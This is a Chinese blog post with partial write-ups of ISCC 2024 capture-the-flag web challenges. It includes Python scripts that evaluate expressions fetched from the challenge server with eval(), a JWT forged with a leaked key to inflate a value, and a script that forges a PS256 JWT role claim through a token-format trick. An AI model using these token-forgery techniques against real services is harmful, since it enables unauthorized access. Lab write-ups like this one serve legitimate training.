ISCC2024 Web部分题解

Doris Chan

已于 2024-08-03 12:34:42 修改

阅读量2.5k

点赞数 52

文章标签：网络安全 web安全

于 2024-08-01 15:22:47 首次发布

本文链接：https://blog.csdn.net/2201_75627590/article/details/140846636

版权

Web1 还没想好名字的塔防游戏

1.打开靶机获取一个游戏

2.先尝试玩几把游戏得到弹窗提示信息

3.根据弹窗提示全局搜索alert找源码，可以找到三条提示信息

Owls Sketch Shadows
Crystal Rivers Sing
Griffins Guard Galaxies
OSSCRSGGG

4.在网页里看到

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

同样获取大写字母,组合起来就是Flag

ISCC{MDWTSGTMMOSSCRSGGG}

Web2 Flask中的pin值计算

1.打开靶机获取提示信息

2.Ctrl+u查看源码发现base64的编码的字符串，解码得到路径/getusername；

3.访问/getusername进入以下页面，通过不断的尝试最终发现输入“告诉我username“就可以拿到username值为：pincalculate

4.通过不断的测试，输入app之后会再给我们一个提示访问/crawler，出现了一个需要在1秒内计算的公式，使用脚本计算获取路径信息

5.查看网络请求可以发现，页面所需要计算的值是由/get_expression接口传过来的，那么就可以编写脚本来计算，观察experssion发现要对python运算符进行替换

import json 
import requests 
text = requests.get("http://101.200.138.180:10006/get_expression").text 
# 解析JSON字符串 
data = json.loads(text) 
 
# 提取表达式 
expression = data["expression"] 

# 将乘号和除号替换为Python的运算符 
expression = expression.replace("\u00d7", "*") 
expression = expression.replace("\u00f7", "/") 

# 计算表达式的值 
result = eval(expression) 
 
# 打印结果 
text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text 
print(text)

输出：

/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode_mac位于/woddenfish

即获取到app.py绝对路径：/usr/local/lib/python3.11/site-packages/flask/app.py

6.访问接口/woddenfish，无论点击“敲击”多少次一直显示功德不足，查看一下源码拿到jwt，对jwt进行解密。

7.将解密后的donate换成gongde，然后quantity设置一个极大的值，根据源码得知jwt的key是ISCC_muyu_2024

8.用burpsuite抓包，替换Session后重放包得到响应，得到MAC 地址是: 02:42:ac:18:00:02，转换成十进制为2485378351106，下一步提示为/machine_id

“Session”：“eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwfQ.n8_a10iVQh-pjbR7vs-kTGcTinX79xPTZTC5zlazHAU”

9.我们继续输入 /machine_id跟进分析，点击VIP会员奖品拿到一个jwt，点SUPERVIP会员奖品无法获取

10.解jwt得：

11.伪造jwt，修改role

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
 
def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
 
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ2NDQ3NjAsImlhdCI6MTcxNDY0MTE2MCwianRpIjoiUXpuLU1NN3djRjFzLVh4NlF2V3V0USIsIm5iZiI6MTcxNDY0MTE2MCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.ll_ExDrBzG-hU18i9yCZe6ALPAe0xFXbra6YbKxOWL5r8XBLDrBUxKTdDinDIxFVU6v69UhHmPrQYvKt0iwaxMDxX71h6XWk5PP0DiSc-IcPol-jJjOdDzjJosyEUzeTkxgD_8T55Y3AbPCligDkBq7HhBuz7yAzWRPZTJpXmfo_CVNdpmCSbriQ_FCYqVScwUZZe6RtD63Pqv_ge5RDWBrx4Lb-DDXLyxdwkibJCbr8A35uNLwv2Vlvx9MhcZANEZG3IrilQRh2n55w74gEyCxIhmXDcfRFSQLMupduP9RcRIAllqKKdXzxq97e0ERp8SnlaZA-W0co8lpAfNVPwA'))

最低0.47元/天解锁文章